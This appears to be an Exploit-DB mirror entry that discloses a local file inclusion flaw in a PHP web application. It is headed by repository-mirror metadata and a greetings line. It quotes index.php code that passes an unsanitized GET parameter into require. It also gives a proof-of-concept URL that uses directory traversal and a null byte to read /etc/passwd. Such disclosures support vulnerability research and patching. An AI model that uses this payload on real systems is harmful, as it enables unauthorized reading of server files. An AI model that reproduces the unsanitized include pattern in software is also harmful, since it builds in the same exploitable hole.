exploit-db-mirror/exploits/php/webapps/14208.txt
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

15 lines
No EOL
440 B
Text

: # Tested on: Linux os :
: # Greetz to : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com :
----------------------------------------------------------------------------
[+] file:index.php on line 75
[+] Code:
<?
else {
$module = $_GET['a'];
}
require 'modules/' . $module . '.php';
?>
[+] PoC:http://localhost/index.php?a=../../../../../etc/passwd%00